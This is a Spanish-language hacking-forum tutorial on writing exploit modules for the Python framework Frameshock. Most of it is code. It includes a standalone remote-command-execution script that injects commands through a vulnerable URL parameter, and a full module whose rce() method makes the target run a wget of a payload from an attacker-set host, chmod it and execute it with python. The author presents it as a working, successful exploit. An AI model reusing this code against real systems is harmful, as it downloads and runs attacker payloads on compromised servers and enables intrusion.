comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Programa tu modulo para Frameshock

  • 0 Respuestas
  • 2089 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado q3rv0

  • *
  • Underc0der
  • Mensajes: 206
  • Actividad:
    0%
  • Reputación 1
  • %ERRORLEVEL%
    • Ver Perfil
    • q3rv0
    • Email
« en: Febrero 08, 2015, 05:30:13 pm »

Recientemente y de la mano de mi amigo hdbreaker salio a la luz un nuevo framework de explotacion llamado Frameshock, el cual promete ser una herramienta que a futuro, llegue a competir con el imponente Metasploit. Lo mejor de esta tool es que esta basada completamente en python y el desarrollo de exploits, auxiliares, etc se hace tremendamente sencillo debido a la manera en que trata los modulos.

En fin, basta de chicharas y vamos a evocarnos a lo que el titulo llama. Antes de proseguir con el resto del tutorial, se tiene en cuenta que el lector cuenta con conocimientos de POO en el lenguaje python.

*** ADVERTENCIA *** Si estas leyendo esto y todavía no te encontras familiarizado con el framework, podes ver el siguiente enlace You are not allowed to view links. Register or Login

Estructura de los módulos

La estructura de los módulos es la siguiente, y lo único a respetar durante el desarrollo.

Código: Python
  1. # -*- coding : utf-8 -*-
  2. import sys
  3. sys.path.append('.')
  4. from config import config
  5. from tabulate import tabulate
  6.  
  7. class module(config):
  8.  
  9.     def __init__(self):
  10.         self.config=config()
  11.         self.cur = self.config.getCursor()
  12.         self.con = self.config.getCon()
  13.         self.targets=[]
  14.         self.preExecution()
  15.  
  16.     def preExecution(self):
  17.         while 1:
  18.             ################Aca se definen las opciones y se cargan los argumentos################
  19.  
  20.  
  21.  
  22.     def exploit(self):
  23.         if len(self.targets)>0:
  24.             for target in self.targets:
  25.                 print "Attack "+target[1]
  26.                 ################Aca va el exploit################
  27.         else:
  28.             print "No hay targets"
  29.  
  30. ################Aca va el metodo que contiene el exploit################
  31.     def test(self):
  32.         print "Attack Test"
  33. ########################################################################
  34.  
  35. ##########Se inicia el modulo###########
  36. start=module()
  37. ########################################
  38.  

Como se ve:


   
Se importan módulos necesarios como sys para agregar el dir base al PATH de python: sys.path.append('.')

    Se importa el modulo config el cual contiene ciertos métodos que nos proveerán de los datos que configuramos con la opción config en el prompt de frameshock. Además es necesario para trabajar con shodan y la db si es que lo necesitamos.

    Se importa tabulate, el cual lo usaremos para mostrar informacion en forma de tabla como por ejemplo los targets seteados.

La clase module()

La clase module contiene tres métodos, en __init__:

    Se inicializa el objeto config y se llama a dos métodos dentro de config

    getCursor()
    getCon()



Necesarios para trabajar con la db sqlite3, como dije anteriormente nos servirán para hacer uso de shodan, pero en este apartado no se hará referencia al mismo, aunque de igual manera se mencionaran.

    Se crea una lista vacía self.targets=[] que almacenara los objetivos que seleccionemos en modo manual.

    Por ultimo se llama al método preExecution.


preExecution()


Acá indicaremos la opciones que contendrá el modulo y cargaremos los argumentos que son pasados a través de esas opciones, tales como el target objetivo, la opción de arranque del modulo, etc. Eso va en los parámetros que necesite recibir nuestro modulo, si desean también pueden incluir una opción para desplegar información acerca del mismo, o datos del autor.
 Comencemos! y a partir de acá, siéntanse libres de codear a su antojo, para nuestro ejemplo voy a portar como modulo de Frameshock un simple script que explota un rce.

Código: Python
  1. #!/usr/bin/python
  2.  
  3. import urllib2
  4. import sys
  5.  
  6. def rce(target):
  7.     while 1:
  8.         command=raw_input("$> ")
  9.         w=urllib2.urlopen(target+"www.google.com|"+command)
  10.         print w.read()
  11.  
  12. rce(sys.argv[1])
  13.  

let's go!

Arranquemos por definir la opción help. Por comodidad respecto a la sintaxis se optara por utilizar la misma que msf, pero no es algo indispensable.


Ahora continuemos con el resto de las opciones necesarias para nuestro modulo.


Sencillo no?, no hace falta explicar mucho, el código habla por si solo.

Para obtener el objetivo, hacemos un split a la cadena set target, tomamos el indice 2 y luego hacemos un append para ingresar los datos dentro de self.targets.
 
Para desplegar los objetivos lo hacemos con tabulate, por cuestiones de estetica, lo dije antes y lo vuelvo a decir, SIÉNTANSE LIBRES!

Si la opción elegida es exploit invoca el metodo self.exploit() que lo trataremos en el siguiente paso.
                                                     
exploit()


Tenemos dos caminos, utilizar algún payload provisto por Frameshock, o bien realizar una conexión directa. Como el handler del framework no esta el divino botón optaremos por la primera. Definiremos el método que contendrá el exploit e importaremos las librerias necesarias.

Código: Python
  1. def rce(self, target):
  2.         command="wget%20http://"+self.config.getUrlInjector()+"%20-O%20"+self.config.getInjectorName()+"%3Bchmod%20755%20"+self.config.getInjectorName()+"%3Bpython%20"+self.config.getInjectorName()
  3.         urllib2.urlopen(target+"www.google.com%7C"+command)
  4.  

Hagamos un párate y pongamos un par de cosas en remojo.

    self.config.getUrlInjector() : Retorna la url del payload que hemos seteado desde frameshock

    self.config.getInjectorName() : Nos devolverá el nombre del payload elegido.


Entonces el metodo rce() lo único que hace es descargar nuestro payload en el servidor remoto, darle permisos de ejecución y lanzarlo contra nuestro handler.

Código: Python
  1. command="wget http://"+self.config.getUrlInjector()+" -O "+self.config.getInjectorName()+";chmod 755 "+self.config.getInjectorName()+";python "+self.config.getInjectorName()

Lo llamamos desde exploit() y nos disponemos a probar nuestro modulo, quedando de la siguiente manera.


Código: Python
  1. # -*- coding : utf-8 -*-
  2. import sys
  3. sys.path.append('.')
  4. from config import config
  5. from tabulate import tabulate
  6. import urllib2
  7.  
  8. class module(config):
  9.  
  10.     def __init__(self):
  11.         self.config=config()
  12.         self.cur = self.config.getCursor()
  13.         self.con = self.config.getCon()
  14.         self.targets=[]
  15.         self.preExecution()
  16.  
  17.     def preExecution(self):
  18.         while 1:
  19.             ################Aca se definen las opciones y se cargan los argumentos################
  20.             opcion=raw_input("> ")
  21.  
  22.             if opcion=="help":
  23.                 print("set target <TARGET> -> Setea el target manualmente")
  24.                 print("exit -> Cierra el modulo")
  25.                 print("show targets -> Muestra los targets seteados")
  26.                 print("clear targets -> Elimina los targets")
  27.                 print("exploit -> Inicia el modulo de ataque")
  28.  
  29.             elif opcion.find("set target")!=-1:
  30.                 target=opcion.split(' ')[2]
  31.                 self.targets.append((0, target, "Modulo para explotar un RCE", "RCE"))
  32.  
  33.             elif opcion=="exit":
  34.                 exit(0)
  35.  
  36.             elif opcion=="show targets":
  37.                 if len(self.targets)>0:
  38.                     print tabulate(self.targets, ["ID", "TARGET", "DESCRIPCION", "MODULO"], tablefmt="grid")
  39.                 else:
  40.                     print "No hay targets seteados"
  41.  
  42.             elif opcion=="clear targets":
  43.                 self.targets=[]
  44.  
  45.             elif opcion=="exploit":
  46.                 self.exploit()
  47.  
  48.  
  49.     def exploit(self):
  50.         if len(self.targets)>0:
  51.             for target in self.targets:
  52.                 print "Attack "+target[1]
  53.                 ################Aca va el exploit################
  54.                 self.rce(target[1])
  55.         else:
  56.             print "No hay targets"
  57.  
  58. ################Aca va el metodo que contiene el exploit################
  59.     def rce(self, target):
  60.         command="wget%20http://"+self.config.getUrlInjector()+"%20-O%20"+self.config.getInjectorName()+"%3Bchmod%20755%20"+self.config.getInjectorName()+"%3Bpython%20"+self.config.getInjectorName()
  61.         urllib2.urlopen(target+"www.google.com%7C"+command)
  62. ########################################################################
  63.  
  64. ##########Se inicia el modulo###########
  65. start=module()
  66. ########################################
  67.  

Antes que nada, lo guardaremos en el directorio /FrameShock/Modules respetando la regla del nombre.

numero_nombremodulo.py

Por ejemplo:

Si tenemos los siguiente módulos (1_moduloprueba.py, 2_moduloprueba.py, 3_moduloprueba.py), Lo agregaremos como 4_rce.py.


Estamos listos para cargar nuestro modulo de prueba.


BOOM! explotado con exito el rce!

Cabe resaltar para terminar, que en el directorio  /FrameShock/ExampleModule contamos con un modulo de ejemplo para comenzar a programar desde ahí.

Código: Python
  1. # -*- coding: utf-8 -*-
  2. import sys
  3. sys.path.append('.')
  4. from config import config
  5. from tabulate import tabulate
  6.  
  7. class module(config):
  8.  
  9.  
  10. ####Init configuration####
  11.     def __init__(self):
  12.         self.config = config()
  13.         self.cur = self.config.getCursor()
  14.         self.con = self.config.getCon()
  15.         self.targets=[]
  16.         self.preExecution()
  17. ##########################
  18.  
  19. ####User define information####
  20.     def preExecution(self):
  21.         while(True):
  22.             option = raw_input("> ")
  23.             if(option=="exit"):
  24.                 exit(0)
  25.  
  26.             if(option=="help"):
  27.  
  28.                 print("set target URL:PORT --> Manual Target")
  29.                 print("clear targets       --> Show Targets in module")
  30.                 print("show targets        --> Clear Targets in module")
  31.                 print("use shodan          --> Targets from Shodan Results")
  32.                 print("exploit             --> Start atack")
  33.                 print("exit                --> Close Module")
  34.  
  35.             if(option.find("set target")>-1):
  36.                 data = option.split(" ")
  37.                 data = data[2].split(":");
  38.                 target = data[0]
  39.                 port = data[1]
  40.                 self.targets.append((0,target,port,"Manual","null"))
  41.  
  42.             if(option.find("use shodan")>-1):
  43.                 self.targets=self.config.getTargets();
  44.  
  45.             if(option=="clear targets"):
  46.                 self.targets=[]
  47.                 print("Clear Done")
  48.  
  49.             if(option=="show targets"):
  50.                 if(len(self.targets)!=0):
  51.                         print tabulate(self.targets, ["id", "IP", "PORT", "Description", "Vulnerable Module"], tablefmt="grid")
  52.                 else:
  53.                     print "No targets"
  54.  
  55.             if(option=="exploit"):
  56.                 self.exploit()
  57. ###################################
  58.  
  59. ###Exploit c0de###
  60.     def exploit(self):
  61.         if(len(self.targets)!=0):
  62.             for target in self.targets:
  63.                 ###YOUR EXPLOIT CODE HERE###
  64.                 print "Atack "+target[1]+":"+target[2]
  65.         else:
  66.             print "No targets found";
  67.  
  68. ####def custom user functions (calleable from exploit())####
  69.     def testFunctions(self):
  70.         print "Atack test"
  71. #############################################################
  72.  
  73. #####Init Module#####
  74. start = module()
  75. #####################
  76.  

Saludos! y Happy Frameshock Hacking!

Fuente: You are not allowed to view links. Register or Login
« Última modificación: Febrero 08, 2015, 09:08:27 pm por [Q]3rV[0] »
Web: You are not allowed to view links. Register or Login

Twitter: You are not allowed to view links. Register or Login

 

¿Te gustó el post? COMPARTILO!



Exploit para Apache Struts (ejecución remota de comandos) [Tomcat]|CVE2017-5638

Iniciado por Eschiclers

Respuestas: 9
Vistas: 2972
Último mensaje Marzo 23, 2017, 03:57:38 pm
por zoro248
Gcat - Python Backdoor Usando Gmail para Mando y Control

Iniciado por R3v0lve

Respuestas: 2
Vistas: 3623
Último mensaje Noviembre 18, 2015, 08:52:40 pm
por Stuxnet
Nuevo Exploit 0day para Internet Explorer 7, 8, 9 en Windows XP, Vista y 7

Iniciado por CalebBucker

Respuestas: 1
Vistas: 2067
Último mensaje Septiembre 17, 2012, 04:49:25 pm
por Slore
SAPYTO – Framework para realizar Penetration Tests sobre sistemas SAP

Iniciado por ZanGetsu

Respuestas: 1
Vistas: 1438
Último mensaje Mayo 20, 2013, 08:49:26 pm
por D4rkC0d3r
Routerpwn, un framework para explotar dispositivos embebidos desde tu celular

Iniciado por hkm

Respuestas: 2
Vistas: 1845
Último mensaje Agosto 01, 2011, 11:45:43 pm
por JaAViEr